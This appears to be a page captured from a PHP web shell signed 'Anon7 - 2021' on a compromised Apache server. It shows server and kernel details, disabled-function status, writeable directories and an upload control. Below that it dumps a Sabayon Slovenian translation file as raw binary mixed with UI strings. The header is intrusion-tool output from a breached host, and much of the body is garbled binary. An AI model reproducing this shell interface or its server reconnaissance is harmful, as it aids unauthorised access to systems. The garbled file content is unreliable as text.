KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /usr/share/locale/sl/LC_MESSAGES/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : //usr/share/locale/sl/LC_MESSAGES/sabayon.mo
2Iaw		
)
4BbN#+!O"q !XRB$((F]i-u
(6Oi}1P%e1.;%X!~*8&+=Oau{" "#!C!e
IG0xI+u|$
	
#",%Ou$$$ #@W\ |$ 

  
) 4 C T l 0     ,!!&!!
""#"3"<"Q"V"9v"""""#1#F#L#b#z#P#L#1$	8$B$K$R$Z$c$i$u${$	$$
$$$$$$/$%%!%2%/7%g%z%%%%%/%''(-(G(c(!r(((!(()()5)F)Y)]f)!))*!%*(G*%p*&*(*
*)*`+g++.+.+,Z,s,",,,,0,
-#-B-]-s---"---.3.F. f......)./&#/J/5e/$/5/'/'0.F0'u0'0>0,111K1d1{111$151?2<C2+2(2*2(3)3I3R3j3%4)5>638NG8D999+9:':>:U:q::::%:':;'";&J;$q;&;&;!;<
<!)<"K< n<<<<<<	<
<<=!=98=r====<8>
u>$>>>>>>??#?<B???$? ??@'@0@N@#n@\@J@:AFA
SA^AeAnA{AAAAAA	AAAAAA/B6B
QB#_BB-BBB(BBCECYk]p\N)rW{B
!OKZb#D5.@H*>Q=%P|[si;A6m4fe:0j1,Lw^-<X2g~C'oxqTI	R9 thzlUy+J`n8(Vc/uME
d$_"&a}vGF37?S%s (%s)%s added to bottom panel%s added to left panel%s added to right panel%s added to top panel%s launcher%s removed from bottom panel%s removed from left panel%s removed from right panel%s removed from top panel<b>Disabled Applets</b><b>Safe Protocols</b><no type><no value>About SabayonAdd ProfileAdministrator level permissions are needed to run this program because it can modify system files.Applet %s added to bottom panelApplet %s added to left panelApplet %s added to right panelApplet %s added to top panelApplet %s removed from bottom panelApplet %s removed from left panelApplet %s removed from right panelApplet %s removed from top panelApplications menuCannot add non-existent file '%s'Cannot find home directory: not set in /etc/passwd and no value for $HOME in environmentCannot find username: not set in /etc/passwd and no value for $USER in environmentChanges in profile %sClick to make this setting mandatoryClick to make this setting not mandatoryClose _Without SavingClose the current windowCould not open %s for writingDefault GConf settingsDelete itemDescriptionDesktop User Profiles tool is already runningDisable _arbitrary URLDisable _bookmark editingDisable _command lineDisable _historyDisable _javascript chromeDisable _printingDisable _quitDisable _toolbar editingDisable _unsafe protocolsDisable force _quitDisable lock _screenDisable log _outDisable print _setupDisable save to _diskDrawerEdit Lockdown settingsEdit changesEditing profile %sEnforce MandatoryEnforce mandatory settings in the editing sessionEpiphany Web BrowserEstablish and Edit Profiles for UsersExpected event: %s %sFailed to add default profile %s to configurationFailed to add monitor for %sFailed to add user %s to profile configurationFailed to get the user listFailed to read file '%s': %sFailed to read metadata from '%s': %sFailed to save UserDatabase to %sFailed to start Xnest: died during startupFailed to start Xnest: timed out waiting for USR1 signalFile %s is not a profile configurationFile '%s' changedFile '%s' createdFile '%s' deletedFile Not Found (%s)FilesGConfGConf key '%s' set to '%s'GConf key '%s' set to boolean '%s'GConf key '%s' set to float '%s'GConf key '%s' set to integer '%s'GConf key '%s' set to list '%s'GConf key '%s' set to pair '%s'GConf key '%s' set to schema '%s'GConf key '%s' set to string '%s'GConf key '%s' unsetGeneralHide _menubarIf you don't save, changes from the last %d hour will be permanently lost.If you don't save, changes from the last %d hours will be permanently lost.If you don't save, changes from the last %ld minute will be permanently lost.If you don't save, changes from the last %ld minutes will be permanently lost.If you don't save, changes from the last %ld second will be permanently lost.If you don't save, changes from the last %ld seconds will be permanently lost.If you don't save, changes from the last hour and %d minute will be permanently lost.If you don't save, changes from the last hour and %d minutes will be permanently lost.If you don't save, changes from the last hour will be permanently lost.If you don't save, changes from the last minute and %ld second will be permanently lost.If you don't save, changes from the last minute and %ld seconds will be permanently lost.If you don't save, changes from the last minute will be permanently lost.IgnoreIgnore WARNINGsInvalid metadata section in '%s': %sLockLock Screen buttonLockdown EditorLockdown settings for %sLogout buttonMain MenuMandatory GConf settingsMenu BarMozilla bookmark changed '%s' '%s'Mozilla bookmark created '%s' -> '%s'Mozilla bookmark deleted '%s'Mozilla bookmark folder changed '%s'Mozilla bookmark folder created '%s'Mozilla bookmark folder deleted '%s'Mozilla key '%s' changed to '%s'Mozilla key '%s' set to '%s'Mozilla key '%s' unsetNameNo profile for user '%s' found
No query filter specified for %sNo result attribute specified for %sNo search based specified for %sPanelPanel '%s' addedPanel '%s' removedPanel FilePreferences menuProfile %sProfile _name:Profile file: %sProfile is read-only %sProfile settings: %sProgram to establish and edit profiles for usersRun Appliction buttonRunning %s testsRunning %s tests (%s)Sabayon requires a special user account '%s' to be present on this computer. Try again after creating the account (using, for example, the 'adduser' command)Save changes to profile "%s" before closing?Save profileScope must be one of sub, base and oneScreenshot buttonSearch buttonServer Settings menuStart Here menuSuccess!System Settings menuTypeUnable to find a free X displayUsage: %s <profile-name> <profile-path> <display-number>
Usage: %s [<profile-name>]
Use This ProfileUse this profile for _all usersUser Profile EditorUser account '%s' was not foundUsers for profile %sValueWeb browser bookmarksWeb browser preferencesWeb browser profile listYou may not use Desktop User Profiles tool from within a profile editing sessionYour account does not have permissions to run the Desktop User Profiles tool_About_Base on:_Changes_Close_Delete_Details_Edit_Fullscreen_Help_Lock down the panels_Lockdown_Profile_Profiles:_Quit_Save_Users_Users:booleanduplicate name(%(name)s) in section %(section)sfloatintegerinvalid type for setting %s in %slistmultiple_result must be one of first and randomno default profilepairredundant default in section %sschemastringtranslator-creditsProject-Id-Version: sabayon
Report-Msgid-Bugs-To: 
POT-Creation-Date: 2007-02-12 03:20+0000
PO-Revision-Date: 2007-02-20 09:02+0100
Last-Translator: Matej Urbančič <matej.urban@gmail.com>
Language-Team: Slovenian GNOME Translation Team <gnome-si@googlegroups.com>
MIME-Version: 1.0
Content-Type: text/plain; charset=UTF-8
Content-Transfer-Encoding: 8bit
Plural-Forms: nplurals=4; plural=(n%100==1 ? 0 : n%100==2 ? 1 : n%100==3 || n%100==4 ? 2 : 3);
X-Poedit-Country: SLOVENIA
X-Poedit-SourceCharset: utf-8
X-Generator: Krusader
X-Poedit-Language: Slovenian
%s (%s)%s dodan na spodnji pladenj%s dodan na levi pladenj%s dodan na desni pladenj%s dodan na zgornji pladenj%s zaganjalnik%s odstranjen s spodnjega pladnja%s odstranjen z levega pladnja%s odstranjen z desnega pladnja%s odstranjen z zgornjega pladnja<b>Onemogočeni vstavki</b><b>Varni protokoli</b><brez vrste><brez vrednosti>O programu SabayonDodaj profilZa zagon tega programa potrebujete pravice nadzornika, saj lahko spreminja sistemske datotekeAplet %s dodan na spodnji pladenjAplet %s dodan na levi pladenjAplet %s dodan na desni pladenjAplet %s dodan na zgornji pladenjAplet %s odstranjen s spodnjega pladenjaAplet %s odstranjen z levega pladenjaAplet %s odstranjen z desnega pladenjaAplet %s odstranjen z zgornjega pladenjaMeni ProgramiNi moč dodati neobstoječe datoteke '%s'Ni moč najti domačega imenika: ni nastavljen v /etc/passwd in ni vrednosti spremenljivke $HOMENi moč najti uporabniškega imena: ni nastavljeno v /etc/passwd in ni vrednosti za spremenljivko $USERSpremembe profila %sKliknite, če želite da nastavitev ni obveznaKliknite, če želite da je nastavitev obveznaZapri _brez shranjevanjaZapri trenutno oknoNi bilo moč odpreti %s za pisanjePrivzete nastavitve GConfZbriši predmetOpisOrodje za namizne uporabniške profile že tečeOnemogoči _neomejen URLOnemogoči _urejanje zaznamkovOnemogoči _ukazno vrsticoOnemogoči z_godovinoOnemogoči kramo _javascriptaOnemogoči _tiskanjeOnemogoči _izhodOnemogoči urejanje _orodnih vrstiOnemogoči _nevarne protokoleOnemogoči prisilni _izhodOnemogoči zaklepanje _zaslonaOnemogoči _odjavoOnemogoči _nastavitve tiskanjaOnemogoči shranjevanje na _diskPredalUredi nastavitve zaklepanjaUredi spremembeUrejanje profila %sVsili obveznostVsili obvezne nastavitve v sejah urejanjaSpletni brskalnik EpiphanyVzpostavi in uredi profile uporabnikovPričakovan dogodek: %s %sNastavitvam ni bilo moč dodati privzetega profila %sNi bilo moč dodati nadzornika za %sNastavitvam profila ni bilo moč dodati uporabnika %sNi bilo moč dobiti seznama uporabnikovNi bilo moč prebrati datoteke '%s': %sNi bilo moč prebrati metapodatkov iz '%s': %sNi bilo moč shraniti UserDatabase v %sZagon Xnesta ni uspel: umrl med zagonomZagon Xnesta ni uspel: čas čakanja na signal USR1 je potekelDatoteka %s ni nastavitvena datoteka profilaDatoteka '%s' spremenjenaDatoteka '%s' ustvarjenaDatoteka '%s' zbrisanaDatoteka ni bila najdena (%s)DatotekeGConfKljuč GConf '%s' nastavljen na '%s'Ključ GConf '%s' nastavljen na boolovo vrednost '%s'Ključ GConf '%s' nastavljen na vrednost plavajoče vejice '%s'Ključ GConf '%s' nastavljen na celoštevilsko vrednost '%s'Ključ GConf '%s' nastavljen na seznam '%s'Ključ GConf '%s' nastavljen na par '%s'Ključ GConf '%s' nastavljen na shemo '%s'Ključ GConf '%s' nastavljen na niz '%s'Ključ GConf '%s' ni nastavljenSplošnoSkrij _menijsko vrsticoČe ne shranite, bodo za vedno izgubljene spremembe v zadnji %d uri.Če ne shranite, bodo za vedno izgubljene spremembe v zadnjih %d urah.Če ne shranite, bodo za vedno izgubljene spremembe v zadnjih %d urah.Če ne shranite, bodo za vedno izgubljene spremembe v zadnjih %d urah.Če ne shranite, bodo za vedno izgubljene spremembe v zadnji %d minuti.Če ne shranite, bodo za vedno izgubljene spremembe v zadnjih %d minutah.Če ne shranite, bodo za vedno izgubljene spremembe v zadnjih %d minutah.Če ne shranite, bodo za vedno izgubljene spremembe v zadnjih %d minutah.Če ne shranite, bodo za vedno izgubljene spremembe v zadnji %d sekundi.Če ne shranite, bodo za vedno izgubljene spremembe v zadnjih %d sekundah.Če ne shranite, bodo za vedno izgubljene spremembe v zadnjih %d sekundah.Če ne shranite, bodo za vedno izgubljene spremembe v zadnjih %d sekundah.Če ne shranite, bodo za vedno izgubljene spremembe v zadnji uri in %d minuti.Če ne shranite, bodo za vedno izgubljene spremembe v zadnji uri in %d minutah.Če ne shranite, bodo za vedno izgubljene spremembe v zadnji uri in %d minutah.Če ne shranite, bodo za vedno izgubljene spremembe v zadnji uri in %d minutah.Če ne shranite, bodo  spremembe trajno izgubljene.Če ne shranite, bodo za vedno izgubljene spremembe v zadnji minuti in %d sekundi.Če ne shranite, bodo za vedno izgubljene spremembe v zadnji minuti in %d sekundah.Če ne shranite, bodo za vedno izgubljene spremembe v zadnji minuti in %d sekundah.Če ne shranite, bodo za vedno izgubljene spremembe v zadnji minuti in %d sekundah.Če ne shranite, bodo za vedno izgubljene spremembe v zadnji minuti.PrezriPrezri opozorilaNeveljaven razdelek metapodatkov v '%s': %sZakleniGumb za zaklep zaslonaUrejevalnik zaklepanjaNastavitve zaklepanja za %sGumb za odjavoGlavni menuObvezne nastavitve GConfMenujska vrsticaZaznamek Mozille spremenjen '%s' '%s'Zaznamek Mozille ustvarjen '%s' -> '%s'Zaznamek Mozille zbrisan '%s'Mapa zaznamkov Mozille spremenjena '%s'Mapa zaznamkov Mozille ustvarjena '%s'Mapa zaznamkov Mozille zbrisana '%s'Ključ Mozille '%s' spremenjen na '%s'Ključ Mozille '%s' nastavljen na '%s'Ključ Mozille '%s' ni nastavljenImeNi profila za uporabnika '%s'
Filter poizvedbe ni naveden za %sAtribut rezultata ni naveden za %sIskalna osnova ni navedena za %sPultPult '%s' dodanPult '%s' odstranjenDatoteka pultaMeni NastavitveProfil %s_Ime profila:Datoteka profila: %sProfil je samo za branje %sNastavitve profila: %sProgram za ustvarjanje in urejanje uporabniških profilovGumb za zagon programovPreizkus %s tečePreizkus %s teče (%s)Sabayon zahteva poseben uporabniški račun '%s'. Potem ko ustvarite račun (na primer z ukazom 'adduser' command), poskusite znova.Ali želite shraniti spremembe profila "%s" pred zapiranjem?Shrani profilObseg mora biti pod, osnova ali edenGumb za zajem slikeGumb za iskanjeMeni Nastavitve strežnikaMeni Začni tukajUspeh!Meni Nastavitve sistemaVrstaNi mogoče najti prostega zaslona XUporaba: %s <ime-profila> <pot-profila> <številka-zaslona>
Uporaba: %s [<ime-profila>]
Uporabi ta profilUpor_abi ta profil za vse uporabnikeUrejevalnik profilov uporabnikovUporabnik '%s' ni bil najdenUporabniki profila %sVrednostZaznamki spletnega brskalnikaNastavitve spletnega brskalnikaSezam profilov spletnega brskalnikaOrodja za namizne uporabniške profile ne smete uporabljati znotraj seje za urejanje profilaVaš račun nima dovoljenj za zagon orodja za namizne uporabniške profile_O programu_Temelji na:_Spremembe_Zapri_Zbriši_Podrobnosti_Uredi_Celozaslonski način_Pomoč_Zakleni pulte_Zaklepanje_Profil_Profili:_Izhod_Shrani_Uporabniki_Uporabniki:boolova vrednostpodvojeno ime(%(name)s) iv razdelku %(section)svrednost plavajoče vejicecelo številoneveljavna vrsta nastavitve %s v %sseznammultiple_result mora biti prvi ali naključenni privzetega profilaparodvečna privzeta vrednost v razdelku %sshemanizMatej Urbančič <matej.urban@gmail.com>
Matjaž Horvat <m@owca.info>

Anon7 - 2021